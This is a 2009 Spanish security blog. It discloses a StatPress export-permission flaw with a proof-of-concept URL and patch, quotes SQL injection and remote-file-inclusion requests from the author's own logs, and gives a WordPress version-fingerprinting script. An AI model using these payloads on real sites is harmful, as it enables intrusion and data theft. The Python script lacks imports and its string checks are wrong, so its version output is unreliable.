11 de diciembre de 2009

Salto de resticciones en Statpress

Recientemente he descubierto un fallo en el plugins de wordpress 'statpress'.

El error es causado por el modo en le que este plugin realiza la acción de exportar. El manejador no comprueba correctamente los permisos del usuario que llama ha esta acción. Esto permitiría a un atacante no autenticado obtener los datos de las estadisticas.

Dado el comportamiento del manejador, la acción de exportar se realiza durante la importación del plugin; dado que statpress realiza el las estadisticas durante la etapa de 'wp-head' esta acción no queda reflejada en las estadisticas.

El fallo se soluciona creando una acción en la etapa de 'init' de Wordpress (antes de enviar las cabeceras) haciendo que se llame a un evento apropiad.

Este error no se puede explotar si el plugins no esta activo.

Prueba de concepto

site.com?statpress_action=exportnow&from=FECHA&to=FECHA&del=SEPARADOR

Parche sugerido:

add_action('init', 'iri_checkExport');
function iri_checkExport(){
if ($_GET['statpress_action'] == 'exportnow') {
$mincap=get_option('statpress_mincap');
if ($mincap == '')
$mincap = "level_8";
if ( current_user_can( $mincap ) )
iriStatPressExportNow();
}
}

TIMELINE:
04-12-2009: Descubierta
06-12-2009: Creda posible solución
11-12-2009: Notificado
12-12-2009: Recibido comunicado de que lo solucionarán
13-12-2009: Se inserta el fix pero no se borra el error, Notificado
18-12-2009: Solución final publica

2 de diciembre de 2009

Primeros ataques, siguiendo el rastro

He estado haciendo una revisión de los log del sistema y he encontrado unos que he recibido unos cuantos ataques.

A continución he realizado una pequeña investigación sobre los incidentes.

Los ataques que he detectado han sido de dos tipos.


  • Inyecciones SQL:


    El día 2009/10/18 a las 21:14:52 desde 209.208.106.XXX (EEUU)
    Petición: "?m=1+order+by+87652--&hello="
    User-Agent: DataCha0s/2.0
    En la petición podemos ver como se intenta modificar la petición SQL realizando una ordenación, el parámetro hello es una incógnita para mi, pero se iguala a el valor NULL.
    Si usamos un Whois podremos ver que esta IP pertenece a un servidor.

    El día 2009/11/04 a las 00:39:44 desde 128.59.66.XXX (EEUU)
    Petición: "p=1+order+by+100--&jhfas="
    User-Agent: DataCha0s/2.0
    Este es un ataque similar, que se realiza desde una IP de la universidad de columbia en EEUU.


  • Remote File Inclusion:


    El día 2009/11/21 a las 17:09:46 y 17:09:48 y el día 2009/11/25 a las 08:45:04 y 08:45:05 desde 213.180.89.XX (Suecia)
    Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
    User-Agent: libwww-perl/5.79
    Este es un intento de incluir y ejecutar en mi servidor el código que se encuentra en el sitio vulnerado. El ataque partió desde un servidor multidominio.

    El día 2009/11/24 a las 23:40:31 y 23:40:33 desde 80.249.173.XXX (Hungría)
    Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
    User-Agent: libwww-perl/5.805
    Similar al anterior desde otra IP. También es desde una IP de un servidor.


Con los datos obtenidos de la IP he podido saber su ubicación general, esta información de posicionamiento es un tanto mala con lo que solo he decidido poner el país ya que poner más seria errar en la ubicación casi con toda seguridad. Dado que son servidores y que por tanto no pertenecen a un ISP "normal" de internet, tendríamos que rastrear en los log de los servidores para saber como partió la petición hacia nuestro servidor, que seguramente fuera un bot en el equipo.

En el caso de haber sido usado como proxy tendríamos que buscar a quien estaba "bypasseando" y preguntar a su ISP, si estuvieran varios proxys en cascada esta labor puede ser casi imposible, ya que si en algún sistema no hubiera los suficientes log el rastro se habría perdido.

Con estos datos obtenidos es fácil ver que el User-Agent son peculiares. En el caso de los SQL inyection y genérico de la librería de perl en los otros casos. Esto nos hace pensar que el ataque ha sido realizado de forma automática.

No creo que haga falta decir que estos ataques no han hecho nada ya que Wordpress no tiene este problema de seguridad.

Tras este pequeño altercado he pensado desarrollar un pequeño plugin para Wordpress que cuando reciba una petición obtenga el User-Agent y si es reconocido como un posible atacante de un 404 y no procese nada.

Más información:
http://www.user-agents.org/allagents.xml

29 de noviembre de 2009

Script para obtener versión de WP

Haciendo uso de lo explicado en el articulo "Saca la versión de Wordpress gracias a Gears" he decidido crear un pequeño script en Python que nos diga la versión de WP que se está usando.


La manera más simple para obtener este dato de la versión es buscar el valor del campo "generator" en los metadatos del sitio:


<meta name="generator" content="WordPress 2.8.6" />

Dependiendo del tema que tengamos este dato de meta puede o no estar.


'''
@copyright: GPL v.3
@author: ehooo
@contact: <vvillahoz|at|malwareint|dot|com>
'''

from HTMLParser import HTMLParser
from httplib import HTTPException
import httplib, os, string

class ParseMetaGen(HTMLParser):
'''
Parser para obtener el metadato "generator"
'''

def __init__(self):
HTMLParser.__init__(self)
self.generator = False

def handle_startendtag(self, tag, attrs):
if tag == 'meta':
if len(attrs) == 2 and attrs[0][0] == 'name' and attrs[0][1] == 'generator':
self.generator = attrs[1][1]

def error(msg=""):
print "ERROR"+str(msg)
exit(1)

if __name__ == '__main__':
site = None

try:
opts, args = getopt.getopt(sys.argv[1:], "s", ["site="])
except getopt.error, msg:
print msg
error(": Use -s URL or --site=URL")

for o, a in opts:
if o in ("-s","--site"):
site = string.replace(a,"http://","")
else:
error(": Unhandled Option")

if site is not None:
path = site.find("/")
if path != -1:
host = site[:path]
path = site[path:]
else:
path = "/"
headers = {"Host": host, "Accept": "*/*", "User-Agent":"Spider/WP-version"}

try:
conn = httplib.HTTPConnection(host)
conn.request("GET", path, headers=headers)
respuesta = conn.getresponse()
if respuesta.status == httplib.OK:
pmg = ParseMetaGen()
pmg.feed(respuesta.read())
version = pmg.generator
if not version:#Si no obtenemos el generador buscamos en el Gears
conn.request("GET", path+"/wp-admin/gears-manifest.php", headers=headers)
respuesta = conn.getresponse()
if respuesta.status == httplib.OK:
data = respuesta.read()
if data.find("ae52efa2f066ffc235840dc615f051d7"):
version = "Wordpress 2.8.1-2.8.6"
elif data.find("068d0a4281fb2a342ba6fd73b6b93982"):
version = "Wordpress 2.8.0"
elif data.find("thickbox.js?ver=3.1-20080430"):
version = "Wordpress 2.7.0"
elif data.find("thickbox.js?ver=3.1-20090123"):
version = "Wordpress 2.7.1"
elif data.find("_20080710a"):
version = "Wordpress 2.6.0"
elif data.find("wp-admin.css?ver=2.6.1"):
version = "Wordpress 2.6.1"
elif data.find("wp-admin.css?ver=2.6.2"):
version = "Wordpress 2.6.2"
elif data.find("wp-admin.css?ver=2.6.3"):
version = "Wordpress 2.6.3"
elif data.find("wp-admin.css?ver=2.6.4"):
version = "Wordpress 2.6.4"
elif data.find("wp-admin.css?ver=2.6.5"):
version = "Wordpress 2.6.5"
else:
version = "Not Found"
elif respuesta.status == httplib.NOT_FOUND:
print "Gears Not Supported"
print "Version: "+version
except HTTPException:
error('Conection probles')
else:
error()

Para evitar que nuestro wordpress muestre la versión en los metadatos de nuestro sitio, podemos crear un simple plugin que nos eliminará este metadato, o añadir la siguiente linea a un plugin cualquiera.


remove_action('wp_head', 'wp_generator');

23 de noviembre de 2009

Vulnerabilidades de PHP 5

Han sido solucionados cinco errores de seguridad la nueva versión de PHP.

El primero de los errores es causado por que PHP no limitar el número
máximo de subida de archivos por cada solicitud. Esto podría ser
aprovechado para causar una denegación de servicio a través de una
petición especialmente manipulada.
La medida tomada para solucionar esto ha sido añadir la directiva
'max_file_uploads', esta nueva directiva permite configurar el número de
archivos que se pueden por petición.

Han sido solucionados múltiples errores en distintas funciones de
'exif.c'. Esto podría ser aprovechado por un atacante remoto para causar múltiples impactos no especificados. La extensiones exif son usadas para la generación y procesado de imagenes.

Existe un error de salto de restricciones de safe_mode en la función
'tempnam'. Esto es causado a que no se comprueba las restricciones de
'safe_mode' y escribir ficheros arbitrarios.

Existe un error de salto de restricciones en la función 'posix_mkfifo'.
Esto podría ser aprovechado por un atacante local para escribir ficheros
arbitrarios.

El ultimo error es otra falta de comprobación de
'safe_mode_include_dir'. Este error se encuentra en la función
'php_plain_files_stream_opener' y podría ser usado para saltar
restricciones o causar una denegación de servicio.

Referencias:

Changelog:
http://www.php.net/ChangeLog-5.php#5.3.1

Diff del error de exif:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/exif/exif.c?r1=282034&r2=287372&pathrev=288943

Diff del error de tempnam:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/standard/file.c?r1=288705&r2=288945

Diff del error de posix:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/posix/posix.c?r1=288943&r2=288942&pathrev=288943

Diff del error de safe_mode_include_dir:
http://bugs.php.net/bug.php?id=50063
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3_1/main/streams/plain_wrapper.c?r1=290578&r2=290577&pathrev=290578

19 de noviembre de 2009

Como saber quien esta detras de una IP

Recientemente he observado desde las estadisticas que un usuario que accedió a esta web buscaba lo siguiente en google: "conociendo una direccion IP puedo saber quien me robo contraseña".

Me ha parecido una pregunta típica que se hace la gente que está empezando en esto de saber sobre como de anónima es la navegación por internet.

Dado que una IP es el identificador de un usuario de internet, es necesario que sea única y por tanto dada una IP se puede saber donde está situada esta. Además las IPs tienen propietarios y estos datos son públicos.

Para poder obtener la máxima información posible vamos a utilizar unas cuantas herratas publicas en internet. Yo he escogido estas dos webs, "dnstools" y "you get signal", porque con ambas podemos obtener bastante información.

Para este ejemplo vamos a suponer una IP, por ejemplo 79.145.37.25.

En primera instancia vamos a utilizar dnstools.
Accediendo a "http://www.dnstools.com/?target=79.145.37.25" podemos ver la resolución inversa y el WHOIS de la IP.
"79.145.37.25 resolves to 25.Red-79-145-37.dynamicIP.rima-tde.net"

Viendo la resolución inversa sabemos que pertenece a la rama RIMA(Red IP Multi Acceso) de "Telefonica De España", que pertenece a un grupo de IP dinámicas. Si observamos el WHOIS podemos obtener los datos del propietario de la IP, como ya hemos dicho Telefónica.

Ahora vamos a usar "you get signal":
De esta web vamos a coger la utilidad de localizaciones de red.
http://www.yougetsignal.com/tools/network-location/?remoteAddress=79.145.37.25
Podemos ver que pertenece a Santander.

Una nota interesante de este tipo de aplicaciones. Estas no rastrean realmente la dirección IP hasta una dirección sino que tienen una lista de localidades asignadas. Por ejemplo si buscamos cualquier IP desde 79.145.37.1 hasta 79.145.38.254 marcarán la misma dirección.

En este caso dado que el acceso se ha hecho desde una IP dinámica de un ISP no podremos saber más datos, salvo que tengamos la hora desde la que se realizó el acceso, pero muy probablemente necesites algún tipo de orden judicial o denuncia para que te den el dato del usuario que en ese momento tenía asignada esa IP.

En este caso ha sido la IP de una casa, pero podría haber sido la IP de un servidor proxy anonimo, en estos casos saber quien ha sido es más complicado por las políticas de los mismos. Como mucho en los mejores casos te dará la IP de quien accedió a ellos, que podría ser el atacante u otro proxy. En ocasiones incluso puede ser una web con una aplicación que reciba los datos y los mande a un correo.

Así que espero que la persona que le robo la contraseña no usara ninguna medida de seguridad para ocultar su rastro.

18 de noviembre de 2009

Los ataques informaticos serán delito

Hace unos días, Andy Ramos blogger y podcaster de Interiuris compartió una noticia que me parece muy interesante, sobre todo para las personas que residen en España.

Antecedentes:

El código penal vigente en España data del año 1995. En este año según las estadística de google solo el 0.35% de la población accedía a intenet. Es lógico pensar por tanto, que en el ordenamiento jurídico de la época no se tuviera en cuenta los ataques informáticos como un delito, dado que eran casi inexistentes y el impacto de los mismos no eran de gran calado para la población.

De todos modos podemos encontrar alguna referencia al tema de la informática en el punto 2 del artículo 264 del código, donde dice:
"2. La misma pena se impondrá al que por cualquier medio destruya, altere, inutilice o de cualquier otro modo dañe los datos, programas o documentos electrónicos ajenos contenidos en redes, soportes o sistemas informáticos."

En 2005 la unión europea publica una "Decisión-Marco" para tipificar como delitos los ataques contra los sistemas de información. En este año ya más del 40% de los españoles accedían a internet. Y el numero de ataques a los sistemas de información cada vez era mayor.

Actualidad:
En la actualidad más de la mitad de la población española usa intenet si no es de manera habitual de manera más o menos esporádica y los delitos a través de este medio de comunicación se han incrementado de manera alarmante en estos últimos años.

Y las redes de equipos infectados cada día es mayor y más peligrosa. En ocasiones las redes zombies alcanzan números alarmantes, y algunas de ellas podrían competir perfectamente con los actuales supercomputadores.

La reforma:
La nueva reforma del código penal sigue las directrices marcadas por la "Decisión-Marco" de la UE. Por tanto incluyen como conductas punibles las consistentes en:

  • Borrar, dañar, deteriorar, alterar, suprimir o hacer inaccesibles datos o programas informáticos ajenos.

  • Obstaculizar o interrumpir el funcionamiento de un sistema de información ajeno.

  • El acceso sin autorización vulnerando las medidas de seguridad a datos o programas informáticos contenidos en un sistema informático o en parte del mismo.


Las penas por estos actos aún no han sido publicadas, pero gracias a la decisión marco podemos saber que las sanciones serán de al menos 3 años de prisión para los dos primeros puntos. En el caso del acceso sin autorización vulnerando las medidas de seguridad, las penas serán proporcionadas y disuasorias.

Inconvenientes:
En espera del texto final que articule este asunto, a mi se me vienen a la cabeza ciertos problemas para las personas que trabajan en eliminar phishing y malware en general.

Dado en con el texto que he elido no se hace referencia a los accesos no autorizados realizados con un fin no punible, como es el caso de la eliminación de un malware o un phishing, los trabajadores en empresas de hosting podrían tender ciertos problemas en caso de borrar los mismos si no han recibido expresamente la autorización por el protietario del alojamiento.

Lo que más me preocupa, teniendo en cuenta que de leyes no soy un experto, es hasta que punto una empresa podría eliminar un malware de un sitio comprado por aun hacker para infectar maquinas.

Pongamos un ejemplo de esto que he dicho para que quede más claro.

"A" compra un server dedicado a "B" donde aloja un malware. Una empresa de seguridad "C" informa a "B" de la existencia de este malware. "B" manda el archivo a VirusTotal y observa que es catalogado como virus por 31 de sus motores antivirus y decide borrarlo. "A" al ver que ha sido borrado de su server decide demandar a "B" por acceder y borrar datos sin autorización suya. "B" tiene un problema grave, ya que se enfrenta a pongamos 3 años de prisión y tendrá que demostrar que ese supuesto malware era el que se ha borrado y no un programa licito que no supone ningún problema.

El caso que he puesto podría pasar a la empresa de hosting de a Asociación de Internautas, dado que su programa "AlertVir" le pasa esto mismo y es un programa licito.

ACTUALIZACIÓN:
En el apartado "antecedentes" se ha añadido la referencia al art. 264 (Gracias Andy)

Otras referencias:
Iurismatica
Reforma del código penal

15 de noviembre de 2009

Wordpress soluciona errores de XSS y de salto de restricciones

Reciente mente ha sido publicado en la Una Al Día de Hispasec sistemas la existencia de dos vulnerabilidades en Wordpress.

El texto dice lo siguiente:
---
Se han solucionado dos errores en Wordpress que podrían ser aprovechados por usuarios autenticados para eludir restricciones o subir ficheros al servidor.

WordPress es un sistema de gestión de blogs, que opera en lenguaje PHP y con soporte de base de datos MySQL. Ofrecido a la comunidad bajo
licencia GPL, WordPress es uno de los gestores de blogs más extendido en la blogosfera.

El primero de los errores solucionados es un problema de cross site scripting en el fichero "press-this.php". Este error está causado por no filtrar correctamente las variables usadas para el título y la sección.

El otro fallo corregido permite eludir restricciones y subir al servidor de Wordpress ficheros con doble extensión. El atacante solo tendría que visitarlos posteriormente para que se ejecutasen y obtener un mayor o menor control del servidor dependiendo de los permisos obtenidos. Se ha solucionado modificando la función "sanitize_file_name" para que escriba "_" si encuentra múltiples extensiones y alguna no está soportada.
---
FUENTE: UAD HISPASEC Sistemas